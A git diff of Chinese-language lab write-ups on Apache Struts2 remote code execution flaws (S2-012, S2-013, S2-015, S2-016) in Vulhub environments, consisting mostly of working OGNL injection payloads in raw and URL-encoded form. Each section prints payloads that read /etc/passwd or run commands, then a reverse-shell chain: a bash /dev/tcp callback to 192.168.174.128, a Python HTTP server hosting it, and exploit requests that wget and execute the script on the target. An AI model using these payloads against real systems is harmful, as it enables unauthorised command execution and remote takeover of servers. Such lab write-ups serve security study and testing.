执行shell.sh文件的Payload为 执行 shell.sh 文件的 Payload 为:
``` ```
GET /ajax/example5?age=12313&name=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,%20@java.lang.Runtime@getRuntime%28%29.exec%28%27bash%20/usr/local/tomcat/shell.sh%27%29%29%28meh%29&z[%28name%29%28%27meh%27%29]=true HTTP/1.1 GET /ajax/example5?age=12313&name=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,%20@java.lang.Runtime@getRuntime%28%29.exec%28%27bash%20/usr/local/tomcat/shell.sh%27%29%29%28meh%29&z[%28name%29%28%27meh%27%29]=true HTTP/1.1
``` ```
成功接收反弹shell 成功接收反弹 shell
![image-20220301165932437](images/202203011659531.png) ![image-20220301165932437](images/202203011659531.png)

View File

@ -1,4 +1,4 @@
# Struts2 S2-012 远程代码执行漏洞 # Apache Struts2 S2-012 远程代码执行漏洞
## 漏洞描述 ## 漏洞描述
@ -26,18 +26,18 @@
## 环境搭建 ## 环境搭建
Vulhub执行以下命令启动s2-012测试环境 Vulhub 执行以下命令启动 s2-012 测试环境:
``` ```
docker-compose build docker-compose build
docker-compose up -d docker-compose up -d
``` ```
访问`http://your-vps-ip:8080/index.jsp`即可进入上传表单页面。 访问 `http://your-vps-ip:8080/index.jsp` 即可进入上传表单页面。
## 漏洞复现 ## 漏洞复现
可以直接祭出s2-001中的回显POC因为这里是没有沙盒也没有限制任何特殊字符。 可以直接祭出 s2-001 中的回显 POC因为这里是没有沙盒也没有限制任何特殊字符。
``` ```
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat", "/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()} %{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat", "/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
@ -47,39 +47,39 @@ docker-compose up -d
![image-20220301173613307](images/202203011736450.png) ![image-20220301173613307](images/202203011736450.png)
### 反弹shell ### 反弹 shell
编写shell脚本并启动http服务器 编写 shell 脚本并启动 http 服务器:
``` ```
echo "bash -i >& /dev/tcp/192.168.174.128/9999 0>&1" > shell.sh echo "bash -i >& /dev/tcp/192.168.174.128/9999 0>&1" > shell.sh
python3环境下python -m http.server 80 python3环境下python -m http.server 80
``` ```
上传shell.sh文件的命令为 上传 shell.sh 文件的命令为:
``` ```
wget 192.168.174.128/shell.sh wget 192.168.174.128/shell.sh
``` ```
上传shell.sh文件的Payload为 上传 shell.sh 文件的 Payload 为:
``` ```
%25%7B%23a%3D%28new+java.lang.ProcessBuilder%28new+java.lang.String%5B%5D%7B%22wget%22%2C+%22192.168.174.128%2Fshell.sh%22%7D%29%29.redirectErrorStream%28true%29.start%28%29%2C%23b%3D%23a.getInputStream%28%29%2C%23c%3Dnew+java.io.InputStreamReader%28%23b%29%2C%23d%3Dnew+java.io.BufferedReader%28%23c%29%2C%23e%3Dnew+char%5B50000%5D%2C%23d.read%28%23e%29%2C%23f%3D%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29%2C%23f.getWriter%28%29.println%28new+java.lang.String%28%23e%29%29%2C%23f.getWriter%28%29.flush%28%29%2C%23f.getWriter%28%29.close%28%29%7D %25%7B%23a%3D%28new+java.lang.ProcessBuilder%28new+java.lang.String%5B%5D%7B%22wget%22%2C+%22192.168.174.128%2Fshell.sh%22%7D%29%29.redirectErrorStream%28true%29.start%28%29%2C%23b%3D%23a.getInputStream%28%29%2C%23c%3Dnew+java.io.InputStreamReader%28%23b%29%2C%23d%3Dnew+java.io.BufferedReader%28%23c%29%2C%23e%3Dnew+char%5B50000%5D%2C%23d.read%28%23e%29%2C%23f%3D%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29%2C%23f.getWriter%28%29.println%28new+java.lang.String%28%23e%29%29%2C%23f.getWriter%28%29.flush%28%29%2C%23f.getWriter%28%29.close%28%29%7D
``` ```
执行shell.sh文件的命令为 执行 shell.sh 文件的命令为:
``` ```
bash /usr/local/tomcat/shell.sh bash /usr/local/tomcat/shell.sh
``` ```
执行shell.sh文件的Payload为 执行 shell.sh 文件的 Payload 为:
``` ```
%25%7B%23a%3D%28new+java.lang.ProcessBuilder%28new+java.lang.String%5B%5D%7B%22bash%22%2C+%22%2Fusr%2Flocal%2Ftomcat%2Fshell.sh%22%7D%29%29.redirectErrorStream%28true%29.start%28%29%2C%23b%3D%23a.getInputStream%28%29%2C%23c%3Dnew+java.io.InputStreamReader%28%23b%29%2C%23d%3Dnew+java.io.BufferedReader%28%23c%29%2C%23e%3Dnew+char%5B50000%5D%2C%23d.read%28%23e%29%2C%23f%3D%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29%2C%23f.getWriter%28%29.println%28new+java.lang.String%28%23e%29%29%2C%23f.getWriter%28%29.flush%28%29%2C%23f.getWriter%28%29.close%28%29%7D %25%7B%23a%3D%28new+java.lang.ProcessBuilder%28new+java.lang.String%5B%5D%7B%22bash%22%2C+%22%2Fusr%2Flocal%2Ftomcat%2Fshell.sh%22%7D%29%29.redirectErrorStream%28true%29.start%28%29%2C%23b%3D%23a.getInputStream%28%29%2C%23c%3Dnew+java.io.InputStreamReader%28%23b%29%2C%23d%3Dnew+java.io.BufferedReader%28%23c%29%2C%23e%3Dnew+char%5B50000%5D%2C%23d.read%28%23e%29%2C%23f%3D%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29%2C%23f.getWriter%28%29.println%28new+java.lang.String%28%23e%29%29%2C%23f.getWriter%28%29.flush%28%29%2C%23f.getWriter%28%29.close%28%29%7D
``` ```
成功接收反弹shell 成功接收反弹 shell
![image-20220301173937416](images/202203011739511.png) ![image-20220301173937416](images/202203011739511.png)

View File

@ -1,4 +1,4 @@
# Struts2 S2-013 远程代码执行漏洞 # Apache Struts2 S2-013 远程代码执行漏洞
## 漏洞描述 ## 漏洞描述
@ -8,7 +8,7 @@ Struts2 标签中 `<s:a>` 和 `<s:url>` 都包含一个 includeParams 属性,
2. get - 链接只包含 GET 请求中的参数和其值 2. get - 链接只包含 GET 请求中的参数和其值
3. all - 链接包含 GET 和 POST 所有参数和其值 3. all - 链接包含 GET 和 POST 所有参数和其值
`<s:a>`用来显示一个超链接,当`includeParams=all`的时候会将本次请求的GET和POST参数都放在URL的GET参数上。在放置参数的过程中会将参数进行OGNL渲染造成任意命令执行漏洞。 `<s:a>` 用来显示一个超链接,当 `includeParams=all` 的时候,会将本次请求的 GET POST 参数都放在 URL GET 参数上。在放置参数的过程中会将参数进行 OGNL 渲染,造成任意命令执行漏洞。
漏洞详情: 漏洞详情:
@ -21,18 +21,18 @@ Struts2 标签中 `<s:a>` 和 `<s:url>` 都包含一个 includeParams 属性,
## 环境搭建 ## 环境搭建
Vulhub执行以下命令启动s2-013测试环境 Vulhub 执行以下命令启动 s2-013 测试环境:
``` ```
docker-compose build docker-compose build
docker-compose up -d docker-compose up -d
``` ```
访问`http://your-vps-ip:8080/index.jsp`即可进入上传表单页面。 访问 `http://your-vps-ip:8080/index.jsp` 即可进入上传表单页面。
## 漏洞复现 ## 漏洞复现
任意命令执行POC 任意命令执行 POC
``` ```
${(#_memberAccess["allowStaticMethodAccess"]=true,#a=@java.lang.Runtime@getRuntime().exec('id').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#out=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#out.println(#d),#out.close())} ${(#_memberAccess["allowStaticMethodAccess"]=true,#a=@java.lang.Runtime@getRuntime().exec('id').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#out=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#out.println(#d),#out.close())}
@ -48,43 +48,43 @@ ${#_memberAccess["allowStaticMethodAccess"]=true,@org.apache.commons.io.IOUtils@
http://your-vps-ip:8080/link.action?a=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec('id').getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println('dbapp%3D'%2Bnew%20java.lang.String(%23d))%2C%23out.close()%7D http://your-vps-ip:8080/link.action?a=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec('id').getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println('dbapp%3D'%2Bnew%20java.lang.String(%23d))%2C%23out.close()%7D
``` ```
成功执行命令`id` 成功执行命令 `id`
![image-20220301174558051](images/202203011745146.png) ![image-20220301174558051](images/202203011745146.png)
### 反弹shell ### 反弹 shell
编写shell脚本并启动http服务器 编写 shell 脚本并启动 http 服务器:
``` ```
echo "bash -i >& /dev/tcp/192.168.174.128/9999 0>&1" > shell.sh echo "bash -i >& /dev/tcp/192.168.174.128/9999 0>&1" > shell.sh
python3环境下python -m http.server 80 python3环境下python -m http.server 80
``` ```
上传shell.sh文件的命令为 上传 shell.sh 文件的命令为:
``` ```
wget 192.168.174.128/shell.sh wget 192.168.174.128/shell.sh
``` ```
上传shell.sh文件的Payload为 上传 shell.sh 文件的 Payload 为:
``` ```
GET /link.action?a=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%27wget%20192.168.174.128/shell.sh%27).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println(%27dbapp%3D%27%2Bnew%20java.lang.String(%23d))%2C%23out.close()%7D HTTP/1.1 GET /link.action?a=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%27wget%20192.168.174.128/shell.sh%27).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println(%27dbapp%3D%27%2Bnew%20java.lang.String(%23d))%2C%23out.close()%7D HTTP/1.1
``` ```
执行shell.sh文件的命令为 执行 shell.sh 文件的命令为:
``` ```
bash /usr/local/tomcat/shell.sh bash /usr/local/tomcat/shell.sh
``` ```
执行shell.sh文件的Payload为 执行 shell.sh 文件的 Payload 为:
``` ```
GET /link.action?a=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%27bash%20/usr/local/tomcat/shell.sh%27).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println(%27dbapp%3D%27%2Bnew%20java.lang.String(%23d))%2C%23out.close()%7D HTTP/1.1 GET /link.action?a=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%27bash%20/usr/local/tomcat/shell.sh%27).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println(%27dbapp%3D%27%2Bnew%20java.lang.String(%23d))%2C%23out.close()%7D HTTP/1.1
``` ```
成功接收反弹shell 成功接收反弹 shell
![image-20220301174700233](images/202203011747317.png) ![image-20220301174700233](images/202203011747317.png)

View File

@ -1,4 +1,4 @@
# Struts2 S2-015 远程代码执行漏洞 # Apache Struts2 S2-015 远程代码执行漏洞
## 漏洞描述 ## 漏洞描述
@ -16,7 +16,7 @@
还有需要说明的就是在 Struts 2.3.14.1 - Struts 2.3.14.2 的更新内容中,删除了 SecurityMemberAccess 类中的 setAllowStaticMethodAccess 方法,因此在 2.3.14.2 版本以后都不能直接通过 `#_memberAccess['allowStaticMethodAccess']=true` 来修改其值达到重获静态方法调用的能力。 还有需要说明的就是在 Struts 2.3.14.1 - Struts 2.3.14.2 的更新内容中,删除了 SecurityMemberAccess 类中的 setAllowStaticMethodAccess 方法,因此在 2.3.14.2 版本以后都不能直接通过 `#_memberAccess['allowStaticMethodAccess']=true` 来修改其值达到重获静态方法调用的能力。
漏洞详情: 漏洞详情:
- http://struts.apache.org/docs/s2-015.html - http://struts.apache.org/docs/s2-015.html
@ -26,14 +26,14 @@
## 环境搭建 ## 环境搭建
Vulhub执行以下命令启动s2-015测试环境 Vulhub 执行以下命令启动 s2-015 测试环境:
``` ```
docker-compose build docker-compose build
docker-compose up -d docker-compose up -d
``` ```
访问`http://your-vps-ip:8080/index.html`即可进入上传表单页面。 访问 `http://your-vps-ip:8080/index.html` 即可进入上传表单页面。
## 漏洞复现 ## 漏洞复现
@ -49,7 +49,7 @@ docker-compose up -d
${#context['xwork.MethodAccessor.denyMethodExecution']=false,#m=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#m.setAccessible(true),#m.set(#_memberAccess,true),#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream()),#q} ${#context['xwork.MethodAccessor.denyMethodExecution']=false,#m=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#m.setAccessible(true),#m.set(#_memberAccess,true),#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream()),#q}
``` ```
进行URL编码后的Payload 进行 URL 编码后的 Payload
``` ```
GET /S2-015/%24%7b%23%63%6f%6e%74%65%78%74%5b%27%78%77%6f%72%6b%2e%4d%65%74%68%6f%64%41%63%63%65%73%73%6f%72%2e%64%65%6e%79%4d%65%74%68%6f%64%45%78%65%63%75%74%69%6f%6e%27%5d%3d%66%61%6c%73%65%2c%23%6d%3d%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%2e%67%65%74%43%6c%61%73%73%28%29%2e%67%65%74%44%65%63%6c%61%72%65%64%46%69%65%6c%64%28%27%61%6c%6c%6f%77%53%74%61%74%69%63%4d%65%74%68%6f%64%41%63%63%65%73%73%27%29%2c%23%6d%2e%73%65%74%41%63%63%65%73%73%69%62%6c%65%28%74%72%75%65%29%2c%23%6d%2e%73%65%74%28%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%2c%74%72%75%65%29%2c%23%71%3d%40%6f%72%67%2e%61%70%61%63%68%65%2e%63%6f%6d%6d%6f%6e%73%2e%69%6f%2e%49%4f%55%74%69%6c%73%40%74%6f%53%74%72%69%6e%67%28%40%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%40%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%27%69%64%27%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%29%2c%23%71%7d.action HTTP/1.1 GET /S2-015/%24%7b%23%63%6f%6e%74%65%78%74%5b%27%78%77%6f%72%6b%2e%4d%65%74%68%6f%64%41%63%63%65%73%73%6f%72%2e%64%65%6e%79%4d%65%74%68%6f%64%45%78%65%63%75%74%69%6f%6e%27%5d%3d%66%61%6c%73%65%2c%23%6d%3d%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%2e%67%65%74%43%6c%61%73%73%28%29%2e%67%65%74%44%65%63%6c%61%72%65%64%46%69%65%6c%64%28%27%61%6c%6c%6f%77%53%74%61%74%69%63%4d%65%74%68%6f%64%41%63%63%65%73%73%27%29%2c%23%6d%2e%73%65%74%41%63%63%65%73%73%69%62%6c%65%28%74%72%75%65%29%2c%23%6d%2e%73%65%74%28%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%2c%74%72%75%65%29%2c%23%71%3d%40%6f%72%67%2e%61%70%61%63%68%65%2e%63%6f%6d%6d%6f%6e%73%2e%69%6f%2e%49%4f%55%74%69%6c%73%40%74%6f%53%74%72%69%6e%67%28%40%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%40%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%27%69%64%27%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%29%2c%23%71%7d.action HTTP/1.1
@ -78,48 +78,47 @@ GET /S2-015/%24%7b%23%63%6f%6e%74%65%78%74%5b%27%78%77%6f%72%6b%2e%4d%65%74%68%6
%{#context['xwork.MethodAccessor.denyMethodExecution']=false,#m=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#m.setAccessible(true),#m.set(#_memberAccess,true),#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream()),#q} %{#context['xwork.MethodAccessor.denyMethodExecution']=false,#m=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#m.setAccessible(true),#m.set(#_memberAccess,true),#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream()),#q}
``` ```
进行URL编码后的Payload最开始的%24变为%25 进行 URL 编码后的 Payload最开始的%24 变为%25
``` ```
GET /param.action?message=%25%7b%23%63%6f%6e%74%65%78%74%5b%27%78%77%6f%72%6b%2e%4d%65%74%68%6f%64%41%63%63%65%73%73%6f%72%2e%64%65%6e%79%4d%65%74%68%6f%64%45%78%65%63%75%74%69%6f%6e%27%5d%3d%66%61%6c%73%65%2c%23%6d%3d%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%2e%67%65%74%43%6c%61%73%73%28%29%2e%67%65%74%44%65%63%6c%61%72%65%64%46%69%65%6c%64%28%27%61%6c%6c%6f%77%53%74%61%74%69%63%4d%65%74%68%6f%64%41%63%63%65%73%73%27%29%2c%23%6d%2e%73%65%74%41%63%63%65%73%73%69%62%6c%65%28%74%72%75%65%29%2c%23%6d%2e%73%65%74%28%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%2c%74%72%75%65%29%2c%23%71%3d%40%6f%72%67%2e%61%70%61%63%68%65%2e%63%6f%6d%6d%6f%6e%73%2e%69%6f%2e%49%4f%55%74%69%6c%73%40%74%6f%53%74%72%69%6e%67%28%40%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%40%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%27%69%64%27%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%29%2c%23%71%7d HTTP/1. GET /param.action?message=%25%7b%23%63%6f%6e%74%65%78%74%5b%27%78%77%6f%72%6b%2e%4d%65%74%68%6f%64%41%63%63%65%73%73%6f%72%2e%64%65%6e%79%4d%65%74%68%6f%64%45%78%65%63%75%74%69%6f%6e%27%5d%3d%66%61%6c%73%65%2c%23%6d%3d%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%2e%67%65%74%43%6c%61%73%73%28%29%2e%67%65%74%44%65%63%6c%61%72%65%64%46%69%65%6c%64%28%27%61%6c%6c%6f%77%53%74%61%74%69%63%4d%65%74%68%6f%64%41%63%63%65%73%73%27%29%2c%23%6d%2e%73%65%74%41%63%63%65%73%73%69%62%6c%65%28%74%72%75%65%29%2c%23%6d%2e%73%65%74%28%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%2c%74%72%75%65%29%2c%23%71%3d%40%6f%72%67%2e%61%70%61%63%68%65%2e%63%6f%6d%6d%6f%6e%73%2e%69%6f%2e%49%4f%55%74%69%6c%73%40%74%6f%53%74%72%69%6e%67%28%40%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%40%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%27%69%64%27%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%29%2c%23%71%7d HTTP/1.
``` ```
### 反弹shell ### 反弹 shell
通过第二种方式获取反弹shell注意要进行URL编码。 通过第二种方式获取反弹 shell注意要进行 URL 编码。
编写shell脚本并启动http服务器 编写 shell 脚本并启动 http 服务器:
``` ```
echo "bash -i >& /dev/tcp/192.168.174.128/9999 0>&1" > shell.sh echo "bash -i >& /dev/tcp/192.168.174.128/9999 0>&1" > shell.sh
python3环境下python -m http.server 80 python3环境下python -m http.server 80
``` ```
上传shell.sh文件的命令为 上传 shell.sh 文件的命令为:
``` ```
wget 192.168.174.128/shell.sh wget 192.168.174.128/shell.sh
``` ```
上传shell.sh文件的Payload为 上传 shell.sh 文件的 Payload 为:
``` ```
%{#context['xwork.MethodAccessor.denyMethodExecution']=false,#m=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#m.setAccessible(true),#m.set(#_memberAccess,true),#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('wget 192.168.174.128/shell.sh').getInputStream()),#q} %{#context['xwork.MethodAccessor.denyMethodExecution']=false,#m=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#m.setAccessible(true),#m.set(#_memberAccess,true),#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('wget 192.168.174.128/shell.sh').getInputStream()),#q}
``` ```
执行shell.sh文件的命令为 执行 shell.sh 文件的命令为:
``` ```
bash /usr/local/tomcat/shell.sh bash /usr/local/tomcat/shell.sh
``` ```
执行shell.sh文件的Payload为 执行 shell.sh 文件的 Payload 为:
``` ```
%{#context['xwork.MethodAccessor.denyMethodExecution']=false,#m=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#m.setAccessible(true),#m.set(#_memberAccess,true),#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('bash /usr/local/tomcat/shell.sh').getInputStream()),#q} %{#context['xwork.MethodAccessor.denyMethodExecution']=false,#m=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#m.setAccessible(true),#m.set(#_memberAccess,true),#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('bash /usr/local/tomcat/shell.sh').getInputStream()),#q}
``` ```
成功接收反弹shell 成功接收反弹 shell
![image-20220301190047036](images/202203011900116.png) ![image-20220301190047036](images/202203011900116.png)

View File

@ -1,8 +1,8 @@
# Struts2 S2-016 远程代码执行漏洞 CVE-2013-2251 # Apache Struts2 S2-016 远程代码执行漏洞 CVE-2013-2251
## 漏洞描述 ## 漏洞描述
在struts2中DefaultActionMapper类支持以"action:"、"redirect:"、"redirectAction:"作为导航或是重定向前缀但是这些前缀后面同时可以跟OGNL表达式由于struts2没有对这些前缀做过滤导致利用OGNL表达式调用java静态方法执行任意系统命令。 struts2 DefaultActionMapper 类支持以 "action:"、"redirect:"、"redirectAction:" 作为导航或是重定向前缀,但是这些前缀后面同时可以跟 OGNL 表达式,由于 struts2 没有对这些前缀做过滤,导致利用 OGNL 表达式调用 java 静态方法执行任意系统命令。
漏洞详情: 漏洞详情:
@ -15,7 +15,7 @@
## 环境搭建 ## 环境搭建
Vulhub执行以下命令启动s2-016测试环境 Vulhub 执行以下命令启动 s2-016 测试环境:
``` ```
docker-compose build docker-compose build
@ -24,11 +24,11 @@ docker-compose up -d
## 漏洞复现 ## 漏洞复现
在struts2中DefaultActionMapper类支持以"action:"、"redirect:"、"redirectAction:"作为导航或是重定向前缀但是这些前缀后面同时可以跟OGNL表达式由于struts2没有对这些前缀做过滤导致利用OGNL表达式调用java静态方法执行任意系统命令。 struts2 DefaultActionMapper 类支持以 "action:"、"redirect:"、"redirectAction:" 作为导航或是重定向前缀,但是这些前缀后面同时可以跟 OGNL 表达式,由于 struts2 没有对这些前缀做过滤,导致利用 OGNL 表达式调用 java 静态方法执行任意系统命令。
所以,访问`http://your-ip:8080/index.action?redirect:OGNL表达式`即可执行OGNL表达式。 所以,访问 `http://your-ip:8080/index.action?redirect:OGNL表达式` 即可执行 OGNL 表达式。
执行`uname -a`命令: 执行 `uname -a` 命令:
``` ```
redirect:${#context["xwork.MethodAccessor.denyMethodExecution"]=false,#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setAccessible(true),#f.set(#_memberAccess,true),#a=@java.lang.Runtime@getRuntime().exec("uname -a").getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[5000],#c.read(#d),#genxor=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#genxor.println(#d),#genxor.flush(),#genxor.close()} redirect:${#context["xwork.MethodAccessor.denyMethodExecution"]=false,#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setAccessible(true),#f.set(#_memberAccess,true),#a=@java.lang.Runtime@getRuntime().exec("uname -a").getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[5000],#c.read(#d),#genxor=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#genxor.println(#d),#genxor.flush(),#genxor.close()}
@ -36,7 +36,7 @@ redirect:${#context["xwork.MethodAccessor.denyMethodExecution"]=false,#f=#_membe
![image-20220301190642149](images/202203011906244.png) ![image-20220301190642149](images/202203011906244.png)
获取web目录 获取 web 目录:
``` ```
redirect:${#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),#resp=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletRes'+'ponse'),#resp.setCharacterEncoding('UTF-8'),#ot=#resp.getWriter (),#ot.print('web'),#ot.print('path:'),#ot.print(#req.getSession().getServletContext().getRealPath('/')),#ot.flush(),#ot.close()} redirect:${#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),#resp=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletRes'+'ponse'),#resp.setCharacterEncoding('UTF-8'),#ot=#resp.getWriter (),#ot.print('web'),#ot.print('path:'),#ot.print(#req.getSession().getServletContext().getRealPath('/')),#ot.flush(),#ot.close()}
@ -44,44 +44,44 @@ redirect:${#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.Htt
![image-20220301190903380](images/202203011909463.png) ![image-20220301190903380](images/202203011909463.png)
### 反弹shell ### 反弹 shell
编写shell脚本并启动http服务器 编写 shell 脚本并启动 http 服务器:
``` ```
echo "bash -i >& /dev/tcp/192.168.174.128/9999 0>&1" > shell.sh echo "bash -i >& /dev/tcp/192.168.174.128/9999 0>&1" > shell.sh
python3环境下python -m http.server 80 python3环境下python -m http.server 80
``` ```
上传shell.sh文件的命令为 上传 shell.sh 文件的命令为:
``` ```
wget 192.168.174.128/shell.sh wget 192.168.174.128/shell.sh
``` ```
上传shell.sh文件的Payload为 上传 shell.sh 文件的 Payload 为:
``` ```
redirect:${#context["xwork.MethodAccessor.denyMethodExecution"]=false,#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setAccessible(true),#f.set(#_memberAccess,true),#a=@java.lang.Runtime@getRuntime().exec("wget 192.168.174.128/shell.sh").getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[5000],#c.read(#d),#genxor=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#genxor.println(#d),#genxor.flush(),#genxor.close()} redirect:${#context["xwork.MethodAccessor.denyMethodExecution"]=false,#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setAccessible(true),#f.set(#_memberAccess,true),#a=@java.lang.Runtime@getRuntime().exec("wget 192.168.174.128/shell.sh").getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[5000],#c.read(#d),#genxor=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#genxor.println(#d),#genxor.flush(),#genxor.close()}
``` ```
执行shell.sh文件的命令为 执行 shell.sh 文件的命令为:
